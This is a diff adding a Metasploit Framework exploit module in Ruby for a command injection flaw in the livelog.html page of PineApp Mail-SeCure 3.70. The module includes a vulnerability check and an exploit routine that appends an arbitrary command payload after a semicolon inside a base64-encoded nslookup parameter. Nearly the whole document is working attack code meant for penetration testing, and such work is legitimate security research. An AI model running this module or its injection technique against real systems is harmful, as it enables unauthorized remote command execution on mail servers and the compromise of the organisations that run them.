|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'PineApp Mail-SeCure livelog.html Arbitrary Command Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a command injection vulnerability on PineApp Mail-SeCure |
| 20 | + 3.70. The vulnerability exists on the livelog.html component, due to the insecure |
| 21 | + usage of the shell_exec() php function. This module has been tested successfully |
| 22 | + on PineApp Mail-SeCure 3.70. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Unknown', # Vulnerability discovery |
| 27 | + 'juan vazquez' # Metasploit module |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-184/'] |
| 33 | + ], |
| 34 | + 'Platform' => ['unix'], |
| 35 | + 'Arch' => ARCH_CMD, |
| 36 | + 'Privileged' => false, |
| 37 | + 'Payload' => |
| 38 | + { |
| 39 | + 'Space' => 1024, |
| 40 | + 'DisableNops' => true, |
| 41 | + 'Compat' => |
| 42 | + { |
| 43 | + 'PayloadType' => 'cmd', |
| 44 | + 'RequiredCmd' => 'generic perl python telnet' |
| 45 | + } |
| 46 | + }, |
| 47 | + 'Targets' => |
| 48 | + [ |
| 49 | + [ 'PineApp Mail-SeCure 3.70', { }] |
| 50 | + ], |
| 51 | + 'DefaultOptions' => |
| 52 | + { |
| 53 | + 'SSL' => true |
| 54 | + }, |
| 55 | + 'DefaultTarget' => 0, |
| 56 | + 'DisclosureDate' => 'Jul 26 2013' |
| 57 | + )) |
| 58 | + |
| 59 | + register_options( |
| 60 | + [ |
| 61 | + Opt::RPORT(7443) |
| 62 | + ], |
| 63 | + self.class |
| 64 | + ) |
| 65 | + |
| 66 | + end |
| 67 | + |
| 68 | + def my_uri |
| 69 | + return normalize_uri("/livelog.html") |
| 70 | + end |
| 71 | + |
| 72 | + def check |
| 73 | + res = send_request_cgi({ |
| 74 | + 'uri' => my_uri, |
| 75 | + 'vars_get' => { |
| 76 | + 'cmd' =>'nslookup', |
| 77 | + 'nstype' => Rex::Text.encode_base64("A"), |
| 78 | + 'hostip' => Rex::Text.encode_base64("127.0.0.1"), # Using 127.0.0.1 in order to accelerate things with the legit command |
| 79 | + 'nsserver' => Rex::Text.encode_base64("127.0.0.1") |
| 80 | + } |
| 81 | + }) |
| 82 | + if res and res.code == 200 and res.body =~ /NS Query result for 127.0.0.1/ |
| 83 | + return Exploit::CheckCode::Appears |
| 84 | + end |
| 85 | + return Exploit::CheckCode::Safe |
| 86 | + end |
| 87 | + |
| 88 | + def exploit |
| 89 | + print_status("#{rhost}:#{rport} - Executing payload...") |
| 90 | + send_request_cgi({ |
| 91 | + 'uri' => my_uri, |
| 92 | + 'vars_get' => { |
| 93 | + 'cmd' =>'nslookup', |
| 94 | + 'nstype' => Rex::Text.encode_base64("A"), |
| 95 | + 'hostip' => Rex::Text.encode_base64("127.0.0.1"), # Using 127.0.0.1 in order to accelerate things with the legit command |
| 96 | + 'nsserver' => Rex::Text.encode_base64("127.0.0.1;#{payload.encoded}") |
| 97 | + } |
| 98 | + }) |
| 99 | + end |
| 100 | + |
| 101 | +end |
0 commit comments